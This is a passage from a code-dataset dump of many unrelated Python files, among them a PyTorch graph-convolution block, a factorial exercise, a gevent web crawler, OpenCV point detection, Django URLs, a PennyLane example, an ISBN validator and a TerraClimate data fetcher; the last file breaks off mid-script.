nn.Sequential(\n nn.Conv2d(\n in_channels,\n out_channels,\n kernel_size=1,\n stride=(stride_res, 1)),\n nn.BatchNorm2d(out_channels),\n )\n self.relu = nn.ReLU(inplace=True)\n self.kernel_size = kernel_size\n\n def forward(self, x, A):\n res = self.residual(x)\n x, A = self.gcn(x, A)\n tcn = self.tcn(x)\n x = tcn + res\n\n return self.relu(x), A\n","sub_path":"model/model_GAE.py","file_name":"model_GAE.py","file_ext":"py","file_size_in_byte":13407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"508133077","text":"\"\"\"\nAltere o programa de cálculo do fatorial, permitindo ao usuário calcular o fatorial várias vezes e limitando o\nfatorial a números inteiros positivos e menores que 16.\n\"\"\"\n\nwhile True:\n while True:\n try:\n fat = int(input('Fatorial de: '))\n if fat <= 16:\n break\n else:\n print('[ERRO]: Digite um numero menor ou igual a 16!\\n')\n except ValueError:\n print('Valor Invalido!\\n')\n\n fatorial = 1\n\n print(f'{fat}!=', end='')\n for f in range(fat, 0, -1):\n fatorial *= f\n print(f, end='')\n if f == 1:\n print('=', end='')\n else:\n print('.', end='')\n\n print(fatorial)\n\n sair = input('\\nDeseja encerrar o programa? [S/N]: ').lower()\n if sair == 's':\n break\n","sub_path":"03_Estrutura_de_Repeticao/20-Fatorial_v2.py","file_name":"20-Fatorial_v2.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"162262869","text":"\"\"\"\n@Project :协程\n@Time :2018/8/28 20:25\n@Author :Zhenxian\n@File :利用gevent爬虫.py\n@Software :PyCharm\n\"\"\"\nfrom gevent import monkey\n\nmonkey.patch_all()\nimport gevent\nimport requests\nimport time\n\n\ndef get_page(url):\n print('GET: %s' % url)\n response = requests.get(url)\n if response.status_code == 200:\n print('%s:%d bytes' % (url, len(response.text)))\n\n\nstart_time = time.time()\ngevent.joinall([\n gevent.spawn(get_page, 'https://www.python.org/'),\n gevent.spawn(get_page, 'https://www.yahoo.com/'),\n gevent.spawn(get_page, 'https://github.com/'),\n])\nstop_time = time.time()\nprint('run time is %s' % (stop_time - start_time))\n","sub_path":"协程/利用gevent爬虫.py","file_name":"利用gevent爬虫.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"236440295","text":"import cv2, random, math\n#pym='LD_PRELOAD=/usr/lib/arm-linux-gnueabihf/libatomic.so.1 python3'\n#import numpy as np\n#print(\"yoyo\")\ndebug = False\nradius = 0.9\nksize = int(6 * round(radius) + 1)\nminLineLength = 1\nmaxLineGap = 100\nred = [0, 80]\ngreen = [80, 255]\nblue = [0, 105]\nimgwidth = 640\nimgheight = 480\nfld = cv2.ximgproc.createFastLineDetector(_length_threshold=3, _distance_threshold=2.5, _canny_th1=100, _canny_th2=100, _canny_aperture_size=7, _do_merge=True)\n#part1 = cv2.GaussianBlur(src, (ksize, ksize), round(radius))\npoint_tolerance = 0.08\ncoloriters = [0xFFFFFF, 0xFF0000, 0x00FF00, 0x0000FF, 0xFFFF00, 0xFF00FF, 0x00FFFF, 0xFF7F7F]\n\n\ndef detectPoints(image):\n\tstep1 = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\tstep2 = cv2.inRange(step1, (red[0], green[0], blue[0]), (red[1], green[1], blue[1]))\n\tlines = None\n\tlines = fld.detect(step2)\n\tif lines is None:\n\t\tprint(\"lol\")\n\t\treturn []\n\tif len(lines) < 6:\n\t#\tpass\n\t\tprint(\"hehe\")\n\t\treturn []\n\tlinestr = \"\"\n\tstep3 = image\n\tcoloriter = 0xFF0000\n\tmaxlen = 0\n\tlinelengths = []\n\tfor i in range(len(lines)):\n\t\tline = lines[i][0]\n\t\tlinelength = math.sqrt(math.pow((line[0] - line[2]), 2) + math.pow((line[1] - line[3]), 2))\n\t\tif linelength > maxlen:\n\t\t\tmaxlen = linelength\n\t\tlinelengths.append((i, linelength))\n\tlinelengths.sort(key = lambda x: x[1], reverse=True)\n\t#print(linelengths)\n\tfor i in range(len(lines)):\n\t\tline = lines[linelengths[i][0]][0]\n\t\tlinestr += str(line)\n\t#\tcv2.line(step3, (line[0], line[1]), (line[2], line[3]), (coloriter >> 0x10, (coloriter >> 0x8) & 0xFF, coloriter & 0xFF))\n\t#\tcoloriter = coloriters[i % 8]\n\t#cv2.imwrite(\"lines.png\", step3)\n\t#print(len(lines), linestr)\n\tpoints = []\n\tif len(linelengths) >= 6:\n\t\tfor i in range(len(linelengths)):\n\t\t\tline = lines[linelengths[i][0]][0]\n\t\t\tnotinpointsA = True\n\t\t\tnotinpointsB = True\n\t\t\tfor point in points:\n\t\t\t\tif abs(line[0] - point[0]) < maxlen * point_tolerance and abs(line[1] - point[1]) < maxlen * point_tolerance:\n\t\t\t\t\tnotinpointsA = False\n\t\t\t\tif abs(line[2] - point[0]) < maxlen * point_tolerance and abs(line[3] - point[1]) < maxlen * point_tolerance:\n\t\t\t\t\tnotinpointsB = False\n\t\t\tif len(points) == 0:\n\t\t\t\tpoints.append((line[0], line[1]))\n\t\t\t\tpoints.append((line[2], line[3]))\n\t\t\telse:\n\t\t\t\tif notinpointsA:\n\t\t\t\t\tpoints.append((line[0], line[1]))\n\t\t\t\tif notinpointsB:\n\t\t\t\t\tpoints.append((line[2], line[3]))\n\telse:\n\t\tprint(\"keke\")\n\t\treturn []\n\tif len(points) < 8:\n\t#\tpass\n\t\t#print(\"pepe\")\n\t\treturn []\n\tif len(points) > 8:\n\t\tpoints = points[0:8]\n\tfor x in range(len(points)):\n\t\tpoint = points[x]\n\t\tintx = int(round(point[0]))\n\t\tinty = int(round(point[1]))\n\t\tcv2.rectangle(step3, (intx-2, inty-2), (intx+1, inty+1), coloriters[x % 8])\n\t\tpoints[x] = (point[0] / imgwidth, point[1] / imgheight)\n\t#print(len(points), points)\n\t#return step3\n\t#print(points)\n\tif debug:\n\t\tcv2.imshow(\"frame\", step3)\n\treturn points\n\nif __name__ == \"__main__\" and debug:\n\tcap = cv2.VideoCapture(\"http://10.65.0.100:1181/stream.mjpg\")\n\n\twhile(True):\n\t\tret, image = cap.read()\n\t\t\n\t\tif ret:\n\t\t\tdetectPoints(image)\n\t\t\t#part5 = fld.drawSegments(image, detectPoints(image))\n\t\t\t#print(detectPoints(image))\n\t\t\t#part6 = cv2.resize(part5, (640, 480))\n\t#\t\t\n\t\tif cv2.waitKey(1) & 0xFF == ord(\"q\"):\n\t\t\tbreak\n\n\t#part4 = part3\n\t#part5 = cv2.Canny(part4,10,255,apertureSize=7)\n\t#lines = cv2.HoughLinesP(part5,1,np.pi/180,100,minLineLength,maxLineGap)\n\t#for x1,y1,x2,y2 in lines[0]:\n\t# cv2.line(src,(x1,y1),(x2,y2),(0xFF,0,0),2)\n\tcap.release()\n\tcv2.destroyAllWindows()\nprint(\"hey\")\n","sub_path":"pointgrabber.py","file_name":"pointgrabber.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"235220978","text":"\"\"\"Constants for 1-Wire component.\"\"\"\nfrom homeassistant.components.sensor import DOMAIN as SENSOR_DOMAIN\n\nCONF_MOUNT_DIR = \"mount_dir\"\nCONF_NAMES = \"names\"\n\nCONF_TYPE_OWFS = \"OWFS\"\nCONF_TYPE_OWSERVER = \"OWServer\"\nCONF_TYPE_SYSBUS = \"SysBus\"\n\nDEFAULT_OWSERVER_PORT = 4304\nDEFAULT_SYSBUS_MOUNT_DIR = \"/sys/bus/w1/devices/\"\n\nDOMAIN = \"onewire\"\n\nPRESSURE_CBAR = \"cbar\"\n\nSUPPORTED_PLATFORMS = [\n SENSOR_DOMAIN,\n]\n","sub_path":"homeassistant/components/onewire/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"267217989","text":"from django.urls import path\nfrom .views import SignUpView, AboutView, ShowProfileView, EditProfilePageView\n\n# from .views import\napp_name = \"users\"\n\nurlpatterns = [\n path(\"signup/\", SignUpView.as_view(), name=\"signup\"),\n path(\"about/\", AboutView.as_view(), name=\"about\"),\n path(\"/profile\", ShowProfileView.as_view(), name=\"show_profile\"),\n path(\n \"/edit_profile\",\n EditProfilePageView.as_view(),\n name=\"edit_profile\",\n ),\n]\n","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"309102159","text":"import pennylane as qml\nfrom pennylane.optimize import GradientDescentOptimizer\n# Create device\ndev = qml.device('default.qubit', wires=1)\n# Quantum node\n@qml.qnode(dev)\ndef circuit1(var):\n qml.RX(var[0], wires=0)\n qml.RY(var[1], wires=0)\n return qml.expval(qml.PauliZ(0))\n# Create optimizer\nopt = GradientDescentOptimizer(0.25)\n# Optimize circuit output\nvar = [0.5, 0.2]\nfor it in range(30):\n var = opt.step(circuit1, var)\n print(\"Step {}: cost: {}\".format(it, circuit1(var)))\n","sub_path":"MLGdansk101/pennylane_example.py","file_name":"pennylane_example.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"358653502","text":"########################################################\n# Author: Druddigon\n# Date Created: 16/1/2015\n# Challenge: http://www.reddit.com/r/dailyprogrammer/comments/2s7ezp/20150112_challenge_197_easy_isbn_validator/\n########################################################\n\nfrom random import randint\n\ndef main():\n print(validate_isbn(\"0-7475-3269-9\"))\n\n an_isbn = generate_isbn()\n\n print(validate_isbn(an_isbn))\n\n\ndef generate_isbn():\n isbn = [randint(0,9) for _ in range(0,9)]\n remainder = sum([isbn[n] * (10-n) for n in range(0,9)]) % 11\n if (11 - remainder) == 10:\n checksum = \"X\"\n else:\n checksum = 11 - remainder\n\n isbn.append(checksum)\n\n return \"\".join(map(str, isbn))\n\n\n\ndef validate_isbn(isbn_num):\n isbn_str = str(isbn_num)\n # Strip away all non numeric digits\n isbn_str = \"\".join(d for d in isbn_str if (d.isdigit() or d == \"X\"))\n\n # ISBN must be 10 digits\n if len(isbn_str) != 10:\n return False\n \n multiplier = 10\n validator_sum = 0\n\n for n in range(0,10):\n if isbn_str[n].isdigit():\n int_digit = int(isbn_str[n])\n elif isbn_str[n] == \"X\":\n int_digit = 10\n else:\n return False\n\n validator_sum += (10-n) * int_digit\n\n return (validator_sum % 11 == 0)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python/isbn_validator.py","file_name":"isbn_validator.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"254765847","text":"import json\nfrom ruamel.yaml import YAML\n\nwith open('../files/to_convert.json') as json_file:\n data = json.load(json_file)\n\nwith open('files/alan_convert.yaml', 'w') as yaml_file:\n yaml = YAML()\n yaml.indent(mapping=2, sequence=4, offset=2)\n yaml.dump(data, yaml_file)\n","sub_path":"activities/alan_convert.py","file_name":"alan_convert.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"294754339","text":"from src.modeling import util\nfrom src.modeling.models.neural_net import visualization, get_model, display_model, save_model\n\nimport pickle\n\nHISTORYS_FILE = \"historys_nn.sav\"\n\n\ndef _test_model(neurons, x_train,y_train,x_test,y_test,epochs=10,):\n # get model\n input_size = x_train.shape[1]\n\n if len(y_train.shape) == 1:\n output_size = 1\n else:\n output_size = y_train.shape[1]\n\n model = get_model(input_size, output_size, neurons=neurons)\n display_model(model)\n\n # train\n history = model.fit(x_train, y_train,\n validation_data=(x_test, y_test),\n epochs=epochs,\n batch_size=12,\n verbose=0)\n\n return model, neurons, history.history\n\n\ndef test_models(init, final, sep=1, epochs=10):\n # read data\n x_train, y_train, _ = util.read_train_data()\n x_test, y_test, _ = util.read_test_data()\n\n historys = []\n for i in range(init, final + 1, sep):\n print(\"\\nNeurons {} - start\".format(i))\n\n model, neurons, history = _test_model([i], epochs, x_train, y_train,x_test, y_test)\n historys.append((neurons, history))\n\n save_model(model, sufix=\"_\" + str(i))\n\n print(\"Neurons {} - done\".format(i))\n\n pickle.dump(historys, open(HISTORYS_FILE, 'wb'))\n\n\ndef display_models_exploration():\n historys = pickle.load(open(HISTORYS_FILE, 'rb'))\n\n # graphs\n visualization.accuracy_graphs(historys)\n visualization.loss_graphs(historys)\n visualization.metrics_table(historys)\n\n\nif __name__ == '__main__':\n test_models(1, 15, epochs=200)\n","sub_path":"src/modeling/models/neural_net/exploration.py","file_name":"exploration.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"643924774","text":"import typing as t\r\n\r\n\r\nclass Request(t.NamedTuple):\r\n id: str\r\n field1: str\r\n field2: str\r\n\r\n def to_json(self):\r\n return self._asdict()\r\n\r\n\r\nrequests_map = {item.id: item for item in [\r\n Request(\"1\", \"test\", \"test\"),\r\n Request(\"2\", \"test\", \"test\"),\r\n Request(\"3\", \"test\", \"test\"),\r\n]}\r\n\r\n\r\ndef get_response_by_request_id(request_id: str) -> dict:\r\n if request_id == \"Cham\":\r\n name = \"Cham\"\r\n elif request_id == \"Serhii\":\r\n name = \"Serhii\"\r\n elif request_id == \"Ivan\":\r\n name = \"Ivan\"\r\n else:\r\n return {}\r\n return {\"hello\": name}\r\n\r\n\r\ndef get_request_list() -> t.List[Request]:\r\n return list(requests_map.values())\r\n\r\n\r\ndef create_request(data: dict) -> t.Union[Request, None]:\r\n item = Request(**data)\r\n if requests_map.get(item.id):\r\n return None\r\n requests_map[item.id] = item\r\n return item\r\n\r\n\r\ndef get_request(request_id: str) -> t.Union[Request, None]:\r\n return requests_map.get(request_id)\r\n\r\n\r\ndef edit_request(request_id, data) -> t.Union[Request, None]:\r\n new_item = Request(**data)\r\n if not requests_map.get(request_id):\r\n return None\r\n requests_map[request_id] = new_item\r\n return new_item\r\n\r\n\r\ndef delete_request(request_id: str) -> bool:\r\n if not requests_map.get(requests_map):\r\n return False\r\n del requests_map[request_id]\r\n return True\r\n","sub_path":"awsgi_poc/server/apis/privacy/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"38865008","text":"from django.urls import path\nfrom .views import LoginView,RegisterView,ActiveView,ForgetPwdView,ModifyPwdView,ResetView,user_logout\nfrom . import views\napp_name = 'users'\n\nurlpatterns = [\n path('login/',LoginView.as_view(),name='login'),\n path('register/',RegisterView.as_view(),name='register'),\n path('active//',ActiveView.as_view(),name='active'),\n path('forget/',ForgetPwdView.as_view(),name='forget'),\n path('reset//',ResetView.as_view(),name='reset'),\n path('modify_pwd/',ModifyPwdView.as_view(),name='modify_pwd'),\n path(\"logout/\",user_logout,name='logout'),\n path(\"info/\",views.UserinfoView.as_view(),name='user_info'),\n path(\"image/upload/\",views.UploadImageView.as_view(),name='image_upload'),\n path(\"update/pwd/\",views.UpdatePwdView.as_view(),name='update_pwd'),\n path(\"send_email_code/\",views.SendEmailCodeView.as_view(),name='send_email_coe'),\n path(\"update_email/\",views.UpdateEmailView.as_view(),name='update_email'),\n path(\"my_course/\",views.MyCourseView.as_view(),name='my_course'),\n path('my_fav/org/',views.MyFavOrgView.as_view(),name='myfav_org'),\n path(\"my_fav/teacher/\",views.MyFavTeacher.as_view(),name='myfav_teacher'),\n path('my_fav/course/',views.MyFavCourse.as_view(),name='myfav_course'),\n path('my_message/',views.MyMessageView.as_view(),name='my_message')\n]\n\n","sub_path":"apps/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"433849539","text":"import const_dbms\nimport dbms\n\nconstSQLSelect = \"SELECT substr(a.pubdate,1,4) || '-' || substr(a.pubdate,5,2) || '-' || substr(a.pubdate,7,2) pubdate, a.seq, a.title, a.itemcount, a.firstitemseq FROM tb_article a ORDER BY a.pubdate DESC\"\n\ndef selectArticle():\n print(\"Start selectArticle\")\n conn = const_dbms.get_conn()\n cur = conn.cursor()\n cur.execute(constSQLSelect)\n return cur.fetchall()\n\nif __name__ == '__main__':\n selectArticle()\n","sub_path":"db_article_list.py","file_name":"db_article_list.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"93969112","text":"# credit to: https://leetcode.com/problems/stone-game-ii/discuss/345354/Java-DP-with-memorization-easy-to-understand(with-explanation)\n# Min max problem\n\nclass Solution(object):\n def stoneGameII(self, piles):\n \"\"\"\n :type piles: List[int]\n :rtype: int\n \"\"\"\n n = len(piles)\n if n < 1:\n return 0\n total = [0] * n\n total[-1] = piles[-1]\n for i in range(n-2, -1, -1):\n total[i] = total[i+1] + piles[i]\n \n dp = [[0] * n for _ in range(n)]\n \n def helper(i, M):\n if i == n:\n return 0\n if 2*M >= n - i:\n return total[i]\n if dp[i][M] != 0:\n return dp[i][M]\n min_ = float('inf')\n for x in range(1, 2*M+1):\n min_ = min(min_, helper(i+x, max(M, x)))\n dp[i][M] = total[i] - min_\n return dp[i][M]\n \n return helper(0, 1)\n \nclass Solution:\n def stoneGameII(self, piles: List[int]) -> int:\n n = len(piles)\n dp = [[0 for _ in range(n)] for _ in range(n+1)]\n \n def solve(s, M):\n if s >= n:\n return 0\n M = min(n, M)\n if dp[s][M]:\n return dp[s][M]\n if s + 2 * M >= n:\n dp[s][M] = sum(piles[s:])\n return dp[s][M]\n \n best = float('-inf')\n curr = 0\n for x in range(1, 2 * M + 1):\n curr += piles[s+x-1]\n best = max(best, curr - solve(s+x, max(x, M)))\n dp[s][M] = best\n return dp[s][M]\n \n return (sum(piles) + solve(0, 1)) // 2\n \n \n","sub_path":"python/1140 Stone Game II.py","file_name":"1140 Stone Game II.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"383328434","text":"from linkedListFIFO import LinkedListFIFO\nfrom node import Node\n\nclass KthFromLast(LinkedListFIFO):\n def find_kth_to_last(self, k):\n p1, p2 = self.head, self.head\n i = 0\n while p1:\n if i > k-1:\n try:\n p2 = p2.pointer\n except AttributeError:\n break\n p1 = p1.pointer\n i += 1\n return p2.value\n\nk = KthFromLast()\nfor i in range(1, 11):\n k.addNode(i)\nk._printList()\n\nk_from_last = k.find_kth_to_last(3)\n\nprint(k_from_last)","sub_path":"파이썬 자료구조와 알고리즘/Algorithm/7. 추상 데이터 타입/eg_find_kth_from_the_end.py","file_name":"eg_find_kth_from_the_end.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"2937418","text":"\"\"\"\nterraclimate19611990\n global 1/24deg M:Monthly normals using TerraClimate\n\"\"\"\n\n# http://thredds.northwestknowledge.net:8080/thredds/terraclimate_aggregated.html\n\nimport pandas as pd\nfrom toolbox_utils import tsutils\n\nfrom tsgettoolbox import utils\n\n__all__ = [\"terraclimate19611990\"]\n\n_avail_vars = {\n \"aet\": {\n \"sname\": \"aet\",\n \"lname\": \"actual_et\",\n \"standard_name\": \"aet\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_aet.nc\",\n },\n \"def\": {\n \"sname\": \"def\",\n \"lname\": \"climate_water_deficit\",\n \"standard_name\": \"def\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_def.nc\",\n },\n \"pet\": {\n \"sname\": \"pet\",\n \"lname\": \"potential_et\",\n \"standard_name\": \"pet\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_pet.nc\",\n },\n \"ppt\": {\n \"sname\": \"ppt\",\n \"lname\": \"precipitation\",\n \"standard_name\": \"ppt\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_ppt.nc\",\n },\n \"q\": {\n \"sname\": \"q\",\n \"lname\": \"runoff\",\n \"standard_name\": \"q\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_q.nc\",\n },\n \"soil\": {\n \"sname\": \"soil\",\n \"lname\": \"soil_moisture\",\n \"standard_name\": \"soil\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_soil.nc\",\n },\n \"swe\": {\n \"sname\": \"swe\",\n \"lname\": \"snow_water_equivalent\",\n \"standard_name\": \"swe\",\n \"units\": \"mm\",\n \"vname\": \"TerraClimate19611990_swe.nc\",\n },\n \"tmin\": {\n \"sname\": \"tmin\",\n \"lname\": \"minimum_daily_temperature\",\n \"standard_name\": \"tmin\",\n \"units\": \"degC\",\n \"vname\": \"TerraClimate19611990_tmin.nc\",\n },\n \"tmax\": {\n \"sname\": \"tmax\",\n \"lname\": \"maximum_daily_temperature\",\n \"standard_name\": \"tmax\",\n \"units\": \"degC\",\n \"vname\": \"TerraClimate19611990_tmax.nc\",\n },\n}\n\n\n@tsutils.transform_args(start_date=pd.to_datetime, end_date=pd.to_datetime)\n@tsutils.doc(tsutils.docstrings)\ndef terraclimate19611990(\n lat: float,\n lon: float,\n variables=None,\n start_date=None,\n end_date=None,\n):\n r\"\"\"global:1/24deg::M:Monthly normals using TerraClimate monthly data from 1961 to 1990.\n\n method: These layers from TerraClimate were derived from the essential\n climate variables of TerraClimate. Water balance variables, actual\n evapotranspiration, climatic water deficit, runoff, soil moisture, and snow\n water equivalent were calculated using a water balance model and plant\n extractable soil water capacity derived from Wang-Erlandsson et al (2016).\n\n title: TerraClimate: monthly climate and climatic water balance for global\n land surfaces\n\n summary: This archive contains a dataset of high-spatial resolution\n (1/24deg, ~4-km) monthly climate and climatic water balance for global\n terrestrial surfaces from 1958-2015. These data were created by using\n climatically aided interpolation, combining high-spatial resolution\n climatological normals from the WorldClim version 1.4 and version\n 2 datasets, with coarser resolution time varying (i.e. monthly) data from\n CRU Ts4.0 and JRA-55 to produce a monthly dataset of precipitation, maximum\n and minimum temperature, wind speed, vapor pressure, and solar radiation.\n TerraClimate additionally produces monthly surface water balance datasets\n using a water balance model that incorporates reference evapotranspiration,\n precipitation, temperature, and interpolated plant extractable soil water\n capacity.\n\n method: These layers from TerraClimate were creating using climatically\n aided interpolation of monthly anomalies from the CRU Ts4.0 and Japanese\n 55-year Reanalysis (JRA-55) datasets with WorldClim v2.0 climatologies.\n\n keywords: WORLDCLIM,global,monthly,\n temperature,precipitation,wind,radiation,vapor\n pressure,evapotranspiration,water balance,soil water capacity,snow water\n equivalent,runoff\n\n history: Created by John Abatzoglou, University of California Merced\n\n creator_url: climate.nkn.uidaho.edu/TerraClimate\n\n creator_email: jabatzoglou at ucmerced.edu\n\n institution: University of California Merced\n\n project: Global Dataset of Monthly Climate and Climatic Water Balance\n (1958-2015)\n\n acknowledgment: Please cite the references included herein. We also\n acknowledge the WorldClim datasets (Fick and Hijmans, 2017; Hijmans et al.,\n 2005) and the CRU Ts4.0 (Harris et al., 2014) and JRA-55 (Kobayashi et al.,\n 2015) datasets.\n\n geospatial_lat_min: -89.979164\n\n geospatial_lat_max: 89.979164\n\n geospatial_lon_min: -179.97917\n\n geospatial_lon_max: 179.97917\n\n time_coverage_start: 1958-01-01T00:0\n\n time_coverage_end: present\n\n time_coverage_resolution: P1M\n\n standard_nam_vocabulary: CF-1.0\n\n license: No restrictions\n\n geospatial_lat_units: decimal degrees north\n\n geospatial_lat_resolution: -0.041666668\n\n geospatial_lon_units: decimal degrees east\n\n geospatial_lon_resolution: 0.041666668\n\n references: Abatzoglou, J.T., S.Z. Dobrowski, S.A. Parks, and K.C.\n Hegewisch, 2017, High-resolution global dataset of monthly climate and\n climatic water balance from 1958-2015, submitted to Scientific Data.\n\n source: WorldClim v2.0 (2.5m), CRU Ts4.0, JRA-55\n\n version: v1.0\n\n Conventions: CF-1.6\n\n Parameters\n ----------\n ${lat}\n\n ${lon}\n\n variables : str\n At the command line can supply a comma separated list of variable\n names. Using the Python API needs to be a Python list of strings.\n\n The current list of available variables are in the following table.\n\n +--------+----------------------------------+-----------+\n | Short | Long | Units |\n +========+==================================+===========+\n | aet | Actual ET | mm |\n +--------+----------------------------------+-----------+\n | def | Climate water deficit | mm |\n +--------+----------------------------------+-----------+\n | pet | Reference ET | mm |\n +--------+----------------------------------+-----------+\n | q | Runoff | mm |\n +--------+----------------------------------+-----------+\n | soil | Soil moisture | mm |\n +--------+----------------------------------+-----------+\n | swe | Snow water equivalence | mm |\n +--------+----------------------------------+-----------+\n | tmax | maximum temperature | degC |\n +--------+----------------------------------+-----------+\n | tmin | minimum temperature | degC |\n +--------+----------------------------------+-----------+\n | vap | Vapor pressure | kPa |\n +--------+----------------------------------+-----------+\n | vpd | Vapor pressure deficit | kPa |\n +--------+----------------------------------+-----------+\n | ws | wind_speed | m/s |\n +--------+----------------------------------+-----------+\n\n ${start_date}\n\n ${end_date}\n \"\"\"\n turl = \"http://thredds.northwestknowledge.net:8080/thredds/dodsC/TERRACLIMATE_ALL/summaries/TerraClimate19611990_{}.nc\"\n\n df = utils.opendap(\n turl,\n lat,\n lon,\n _avail_vars,\n variables=variables,\n start_date=start_date,\n end_date=end_date,\n time_name=\"time\",\n single_var_url=True,\n )\n\n df = df.rename(columns=lambda x: f\"{x}:19611990\")\n\n return df\n\n\nif __name__ == \"__main__\":\n r = terraclimate19611990(29.6, -82.3)\n print(r)\n","sub_path":"src/tsgettoolbox/functions/terraclimate19611990.py","file_name":"terraclimate19611990.py","file_ext":"py","file_size_in_byte":7966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"645498652","text":"import sys\nimport os\nimport json\nimport multiprocessing\n\nimport line_plotter\nimport load_csv\n\nkColors = ('red', 'green', 'blue', 'cyan', 'yellow', 'magenta')\n\n\ndef plot(plot_config: dict):\n plotter = line_plotter.LinePlotter()\n data = load_csv.load(filename=plot_config['file'],\n index=plot_config['index'])\n data = tuple(zip(*data))\n for i, y in enumerate(data[1:]):\n plotter.add_line(ys=y, xs=data[0], color=kColors[i % len(kColors)])\n plotter.draw(title=plot_config['title'])\n\n\ndef main():\n assert len(sys.argv) == 2, 'no parameter, it should be one json config'\n path_config = sys.argv[1]\n assert os.path.isfile(path_config), 'config not found'\n assert path_config.endswith('.json'), 'run tk_plotter.py CONFIG.json'\n with open(path_config) as fi:\n config = json.loads(fi.read())\n assert type(config) == type([]), 'config must contain a list'\n assert all(type(e) == type(dict())\n for e in config), 'each element must be dict'\n assert all(i in e for e in config\n for i in ('file', 'index', 'title')), 'config not complete'\n assert all(len(pc['index']) >= 2\n for pc in config), 'index not enough, must be at least [x,y1]'\n if any(len(pc['index']) >= len(kColors) for pc in config):\n print('too many lines, will reuse color')\n\n processes = []\n for plot_config in config:\n print(plot_config)\n processes.append(\n multiprocessing.Process(target=plot, args=(plot_config, )))\n processes[-1].start()\n for p in processes:\n p.join()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tk_plotter.py","file_name":"tk_plotter.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"613326835","text":"import risar\r\nimport random\r\nfrom random import randint\r\nimport math\r\nimport time\r\n\r\nclass Krog:\r\n\r\n def __init__(self):\r\n zacetna = self.zaceznaPozicija()\r\n self.x = zacetna[0]\r\n self.y = zacetna[1]\r\n self.vX = random.uniform(-5.0, 5.0)\r\n self.vY = randint(0, 1)\r\n self.polmer = 10\r\n self.barva = risar.barva(randint(0, 255), randint(0, 255), randint(0, 255))\r\n self.sirina = 2\r\n self.krog = risar.krog(self.x, self.y, self.polmer, self.barva, self.sirina)\r\n\r\n def zaceznaPozicija(self):\r\n while(1):\r\n tmp = risar.nakljucne_koordinate()\r\n if tmp[0] >= 15 and tmp[0] <= risar.maxX - 15 and tmp[1] >= 15 and tmp[1] <= risar.maxY - 15:\r\n return tmp\r\n\r\n def novaPozicija(self):\r\n self.x += self.vX\r\n if self.vY:\r\n self.y += math.sqrt(5**2 - self.vX**2)\r\n else:\r\n self.y -= math.sqrt(5**2 - self.vX**2)\r\n\r\n def preveri(self):\r\n if self.x > risar.maxX - 15 or self.x < 15:\r\n self.vX *= -1\r\n if self.y > risar.maxY - 15:\r\n self.vY = False\r\n if self.y < 15:\r\n self.vY = True\r\n\r\nkrogci = []\r\nfor i in range(30):\r\n krogci.append(Krog())\r\n\r\nrisar.cakaj(0.5)\r\nkonec = time.time() + 20\r\n\r\nwhile(1):\r\n if time.time() > konec:\r\n break\r\n\r\n for a in krogci:\r\n a.preveri()\r\n a.novaPozicija()\r\n a.krog.setPos(a.x, a.y)\r\n\r\n risar.obnovi()\r\n risar.cakaj(0.02)\r\n","sub_path":"code/batch-2/vse-naloge-brez-testov/DN14-M-047.py","file_name":"DN14-M-047.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"346453377","text":"import os\nimport sys\n\nimport xlrd, xlwt\nimport numpy as np\nimport csv\n\n\ndef create():\n xlses = []\n\n for xls in xlses:\n print(xls)\n mouses_info = [[[] for i in range(8)] for j in range(8)]\n\n dates = [[], []]\n\n with open(os.path.join('csvs', xls), newline='') as csvfile:\n data = list(csv.reader(csvfile))[1:]\n\n print(data[:10])\n if len(data) > 20:\n data = 